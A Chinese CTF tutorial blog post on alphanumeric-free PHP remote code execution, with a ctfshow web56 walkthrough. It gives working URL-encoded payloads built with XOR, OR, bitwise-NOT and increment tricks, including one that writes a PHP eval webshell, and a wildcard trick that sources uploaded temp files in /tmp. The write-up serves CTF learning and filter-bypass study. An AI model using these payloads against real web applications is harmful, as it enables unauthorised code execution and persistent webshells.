RCE之无字母数字RCE
无字母数字RCE,就是在字母和数字都被过滤的情况下构造出webshell,进而达到命令执行的目的。
通常,过滤的语句大致写法:
1 |
|
其中,正则还可以写成
1 | if(preg_match('/^\W+$/', $command)) |
/^\W+$/
中的\W 是一个预定义的字符类,表示 非单词字符,相对的\w表示单词字符。
单词字符(\w):
- 大小写字母 (a-z, A-Z)
- 数字 (0-9)
- 下划线 (_)
非单词字符(\W)是上面以外的任何字符,例如:
- 标点符号(如 !, @, #)
- 空格、换行符
- 其他非字母数字的字符
用运算符实现
先上一下表
1、 异或运算符
^
两个字符异或操作后,会得到一个新的字符,例如:
h
和[
进行异或操作,得到的结果为3
这是由于,在ascii码表中:
1 | h: 104 0x68 01101000 |
01101000和01011011逐位进行异或后,得到00110011,也就是0x33,在ascii码中表示是数字3:
1 |
|
例如像以下这样构造命令:
1 | $__=("#"^"|"); // _ |
使用时,讲上述构造的命令取消换行,并进行url编码,传入参数即可:
例如:
1 |
|
Payload可以写成:
1 | ?w=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B&_=system&__=whoami |
在实际应用中,可以通过python构造出我们需要的命令的异或算式,后续使用这个脚本,只需要修改payload和正则表达式即可
1 | import re |
测试:
1 |
|
构建payload:passthru(ls)
1 | ('%0F%1E%0C%0C%0B%17%0D%0A'^'%7F%7F%7F%7F%7F%7F%7F%7F')('%13%0C'^'%7F%7F') |
2、 或运算符
|
同上异或的原理,不过需要改一下脚本里的运算符
3、 取反
~
1 |
|
得到的结果为%8C%86%8C%8B%9A%92
,此时将改数据再取反,就可以得到我们想要的system
,利用方式和异或部分同理。
4、 自增
利用自增,例如
1 | "a"++ => "b" |
所以,只要能够得到一个字符,我们就可以通过自增或自减的方式得到所有的字母。那么,要如何得到一个字母,例如A,在PHP中,强制连接数组和字符串的话,数组将会被转化为字符串,其值为“Array”。再取这个字符串的第一个字母,就可以得到A。
1 | <?php |
还有其他的取字母的方法,例如:
1 | (0/0).'' //NAN |
参考佬的payload:
1 |
|
PHP7和PHP5中的特性
assert是无字母数字RCE中很重要的一个函数,但是php5和php7中的这个函数是有区别的。在php5中,assert是一个函数,因此我们可以动态调用。但是在PHP7中,assert不再是一个函数,而是变成了一个语言结构,不能再作为函数名动态执行代码。在php7中,可以通过($a)()
这样的方式来执行命令,也就是说我们对phpinfo取反之后就可以直接执行了,亦或用file_put_contents来写shell。
php7中
例如想执行phpinfo()
,可以写成(phpinfo)()
,利用取反构造payload:
1 | (~%8F%97%8F%96%91%99%90)() // phpinfo |
甚至可以直接写马file_put_contents('4.php','<?php eval(\$_POST[1]);');
1 | (~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4)); |
成功写入
php5中
在php5中,不支持用($a)()这样的语句来调用函数,因此需要考虑用一些更巧妙的技巧,参考p神的无字母数字webshell之提高篇(强烈建议仔细读一下)。
其中我阅读后,认为这种绕过方式最主要利用到的特性:
- php在处理上传的文件时,会将其保存在临时文件夹下(/tmp),并且默认的文件名为
/tmp/phpXXXXXX
的形式,文件名的后六位为随机的大小写字母 - 可以使用
.
来执行任意文件,即使这个文件没有执行权限 - Linux下的文件可以使用通配符表示
我们在php中上传的文件,会被临时放到tmp目录下并且目录为/tmp/phpXXXXXX
,但是只是放到该目录下是达不到我们的目的的,那么就需要想办法执行他。此时就想到了Linux中的.
,.
在执行一个文件的时候,不需要改文件具有执行权限,.
代表的是当前的shell,. file
也就是使用当前的shell来执行file文件。那么结合起来想一下,如果有一个可以进行rce的点,即使是过滤了字母数字的情况下,我们不就可以使用.
来执行我们上传的临时文件了吗。
但是又出现问题了,本文不就是在讲无字母数字的情况如何进行rce吗,不能传入字母、数字,要怎么获取到上传的临时文件呢。我们就可以使用通配符,例如/tmp/phpXXXXXX
就可以被表示为/???/?????????。
但是,当我们像这样去尝试获取php上传的临时文件时,又出现了问题,有很多能满足/???/?????????匹配格式的文件,以下引用p神的图
可以看到,这样的结构,匹配到了这么多文件,而且我们在php中上传生成的临时文件,排到了第6位,那么,在执行. /???/?????????
时,就可能在前面的过程中出现问题,然后就导致整个流程终止,无法执行到我们上传的文件。
那么如何解决,仔细观察,可以发现这些列出来的文件中,只有php的临时文件中存在大写字母,并且,在glob通配符中,支持使用[^x]
的方法构造表示“这个位置不是字符x”的表达式,因为^在方括号中表示非。一下继续引用p神的图,同理就可以过滤掉很多文件
那么,同理,我们可以通过表达式,去匹配出文件名中带有大写字母的文件,就是php上传文件后生成的临时文件。查看ascii码表:
可以看到,大写字母在ascii码表上是介于@
和[
这两个符号之间的,那么在表达式中就可以使用[@-[]
来表示大写字母
. /???/????????[@-[]
那么payload就可以这么打
1 | `. /???/????????[@-[]`; |
ctfshow web56
题目:
1 |
|
其中,传入的参数$c已经会被system执行了,就可以简化上面说的payload中的反引号。先构造个页面向题目的服务器上传文件
1 |
|
上传后,使用参数c尝试读这个文件
成功执行。如果一次执行了,发现没有成功执行我们的命令,可以多尝试几次,总有一次会匹配到文件最后一位是大写字母,就可以匹配到临时文件,反正最后一位是不是大写字母也就是50%的概率。
写在最后
记得第一次接触到无字母数字RCE,就是小一届的一位师傅来问我ctfshow的web56这题,当时看了一圈wp也是一头雾水,后面静下心来好好看了p神的文章才弄懂,然后在CSDN写了一篇博客与那位师傅分享,有时候花很长的时间捋清楚一个大佬们的骚操作,还是会很有成就感的。也是一个很好的,从别人的提问中学习的例子。多阅读大佬们的博客,多学习一些很巧妙的技巧,学会从别人那里获取知识并吸收,还是很重要的。
参考
https://www.52pojie.cn/thread-1527477-1-1.html
https://xz.aliyun.com/t/11929?time__1311=Cq0xuD2Dg0i%3DDsD7zAhOn%2B34GK40INt3x
https://xz.aliyun.com/t/8107?time__1311=n4%2BxnD0Dc7GQDtDkWGODlhje0%3Dn1%3DrrxRiTD